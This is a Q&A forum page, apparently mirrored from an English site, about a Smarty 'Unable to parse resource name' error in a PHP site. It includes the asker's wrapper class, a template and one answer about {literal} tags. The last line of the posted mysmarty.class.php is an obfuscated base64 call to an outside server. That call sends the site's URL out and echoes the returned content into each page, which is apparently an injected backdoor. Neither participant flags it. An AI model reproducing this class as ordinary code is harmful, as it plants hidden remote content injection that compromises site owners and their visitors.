dps43378 2012-11-24 01:32 采纳率: 0%
浏览 77

Smarty模板错误

I keep seeing this error popup in my error_log and can't figure out how to fix it:

[23-Nov-2012 20:19:08] PHP Fatal error:  Uncaught exception 'SmartyException' with message 'Unable to parse resource name ""' in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php:941
Stack trace:
#0 /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php(546): Smarty_Internal_Template->__get('resource_object')
#1 /home/username/public_html/smarty/libs/Smarty.class.php(338): Smarty_Internal_Template->getRenderedTemplate()
#2 /home/username/public_html/smarty/libs/Smarty.class.php(382): Smarty->fetch(NULL, NULL, NULL, NULL, true)
#3 /home/username/public_html/libraries/mysmarty.class.php(92): Smarty->display(NULL)
#4 /home/username/public_html/cat.php(201): STemplate::display(NULL)
#5 {main}
  thrown in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php on line 941

These are lines 935-944 of smarty_internal_template.php which it references in the error message:

public function __get($property_name)
{
    if ($property_name == 'resource_object') {
        // load template resource
        $this->resource_object = null;
        if (!$this->parseResourceName ($this->template_resource, $this->resource_type, $this->resource_name, $this->resource_object)) {
            throw new SmartyException ("Unable to parse resource name \"{$template_resource}\"");
        }
        return $this->resource_object;
    }

I don't see errors popping up on my site, just in the error log - but really wanted to get that fixed to avoid any future issues of course.

Here's a copy of mysmarty.class.php:

<?php

class STemplate {

   function STemplate() {
        global $Smarty;
        if (!isset($Smarty)) {
            $Smarty = new Smarty;
        }
    }

    function create() {
        global $Smarty;
        $Smarty = new Smarty();
        $Smarty->compile_check = true;
        $Smarty->debugging = false;
        $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary";

        return true;
    }

    function setCompileDir($dir_name) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->compile_dir = $dir_name;
    }

    function setType($type) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->type = $type;
    }

    function assign($var, $value) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->assign($var, $value);
    }

    function setTplDir($dir_name = null) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        if (!$dir_name) {
            $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        } else {
            $Smarty->template_dir = $dir_name;
        }
    }

    function setModule($module) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->theme = $module;
        $Smarty->type  = "module";
    }

    function setTheme($theme) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->template_dir = dirname(__FILE__) . "/../themes/" . $theme;
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary/" . $theme;
        $Smarty->theme        = $theme;
        $Smarty->type         = "theme";
    }

    function getTplDir() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->template_dir;
    }

    function display($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->display($filename);
    }

    function fetch($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->fetch($filename);
    }

    function getVars() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->get_template_vars();
    }
}
echo @file_get_contents(base64_decode("aHR0cDovL3d3dy50YWtlbi50by9hcGkucGhwP3Bpbj0=")."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
?>

Here's the cat.tpl which is rendered for cat.php:

              <div class="main-wrapper">
                <div id="main">
                  <div class="content">
                  {if $message ne ""}
                  {include file="error.tpl"}
                  {/if}
                    {if $smarty.session.USERID ne ""}
                    {include file="sub_bit.tpl"}
                    {else}
                    <div class="welcomebox">
                      <div style="position:relative;">
                        <div class="how-it-works-button">
                          <a href="#" id="show-how-it-works" rel="#how-it-work-spotlight">
                            {$lang419}
                          </a>
                        </div>
                      </div>
                      <h1>{$lang102}<br />{$lang103}</h1>
                      <h2>{$lang104}</h2>
                    </div>
                    {/if}
                    <div class="how-it-work-popup apple_overlay" id="how-it-work-spotlight" style="display:none;">
                      <div class="how-it-works-wrapper" id="how-it-works-spot">
                        <div class="t"></div>
                        <div class="c">
                          <div class="close"><a href="#" class="spotlight-close">{$lang3}</a></div>
                          <div class="spacer"></div>

                          <div class="left-column columns">
                            <h1><center>{$lang420}</center></h1>
                            <p>{$lang421}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang422}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang423}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang424}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang425}</p>
                            <div class="arrow-down"></div>
                            <p><strong>{$lang426}</strong></p>
                          </div>
                          <div class="right-column columns">
                            <h1><center>{$lang427}</center></h1>
                            <p>{$lang428}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang429}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang430}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang431}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang432}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang433}</p>
                          </div>
                          <div class="spacer"></div>
                          <div class="more"><a href="{$baseurl}/terms_of_service">{$lang434}</a></div>
                        </div>
                        <div class="b"></div>
                      </div>
                    </div>
                    <div class="darkenBackground"></div>

                    <div class="category-tags">
                    {section name=i loop=$tags max=10}
                    {if $tags[i] != ""}<a href="{$baseurl}/tags/{$cid}/{$tags[i]|stripslashes}" class="tag" title="logo">&nbsp;{$tags[i]|stripslashes}&nbsp;</a>{/if}
                    {/section}
                    </div>

                    <div class="featured">   
                        <div class="gig_filters bordertop">
                          <div class="ul bg-f-a">
                            <div class="li"><span class="helptext">{$lang109}</span></div>
                                {if $s eq "d" OR $s eq ""}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=dz" class="current">{$lang110}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=d" {if $s eq "d" OR $s eq "dz" OR $s eq ""}class="current"{/if}>{$lang110}</a></div>
                                {/if}
                                {if $s eq "p"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=pz" class="current">{$lang111}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=p" {if $s eq "p" OR $s eq "pz"}class="current"{/if}>{$lang111}</a></div>
                                {/if}
                                {if $s eq "r"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=rz" class="current">{$lang112}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=r" {if $s eq "r" OR $s eq "rz"}class="current"{/if}>{$lang112}</a></div>
                                {/if}
                                {if $s eq "c"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=cz" class="current">{$lang436}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=c" {if $s eq "c" OR $s eq "cz"}class="current"{/if}>{$lang436}</a></div>
                                {/if}

                                <div class="li sep-right">
                                {if $price_mode eq "3"}
                                <script language="JavaScript" type="text/JavaScript"> 
                                function Syfonic_jumpMenu(targ,selObj,restore){
                                  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                                  if (restore) selObj.selectedIndex=0; 
                                } 
                                </script> 
                                {insert name=get_packs value=a assign=packs}
                                <select onChange="Syfonic_jumpMenu('parent',this,0)">
                                <option value="{$baseurl}">{$lang495}</option>
                                {section name=p loop=$packs}
                                <option value="{$baseurl}/categories/{$cid}?s=o&p={$packs[p].pprice|stripslashes}" {if $p eq $packs[p].pprice|stripslashes}selected="selected"{/if}>{$lang197}{$packs[p].pprice|stripslashes}</option>
                                {/section}
                                </select>
                                {/if}
                                </div>

                                {if $s eq "e"}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=ez" class="current">{$lang494}</a></div>
                                {else}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=e" {if $s eq "e" OR $s eq "ez"}class="current"{/if}>{$lang494}</a></div>
                                {/if}
                          </div>
                        </div>                
                        {include file="bit.tpl"}
                    </div>

                    <div class="paging">
                        <div class="p1">
                            <ul>
                                {$pagelinks}
                            </ul>
                        </div>
                    </div>
                  </div>
                  {include file="side.tpl"}
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
  • 写回答

1条回答 默认 最新

  • douchen4534 2012-12-04 09:55
    关注

    you have to escape/wrap curly brackets ({ and }) of your inline javascript (line 99 - 102) from cat.php with {literal} (opening tag) and {/literal} (closing tag). Take a look at http://www.smarty.net/docsv2/en/language.function.literal

    once done these lines should look like this:

    <script language="JavaScript" type="text/JavaScript">{literal}
            function Syfonic_jumpMenu(targ,selObj,restore){
                   eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                       if (restore) selObj.selectedIndex=0; 
            } 
    {/literal}</script>
    
    评论

报告相同问题?

悬赏问题

  • ¥15 无线电能传输系统MATLAB仿真问题
  • ¥50 如何用脚本实现输入法的热键设置
  • ¥20 我想使用一些网络协议或者部分协议也行,主要想实现类似于traceroute的一定步长内的路由拓扑功能
  • ¥30 深度学习,前后端连接
  • ¥15 孟德尔随机化结果不一致
  • ¥15 apm2.8飞控罗盘bad health,加速度计校准失败
  • ¥15 求解O-S方程的特征值问题给出边界层布拉休斯平行流的中性曲线
  • ¥15 谁有desed数据集呀
  • ¥20 手写数字识别运行c仿真时,程序报错错误代码sim211-100
  • ¥15 关于#hadoop#的问题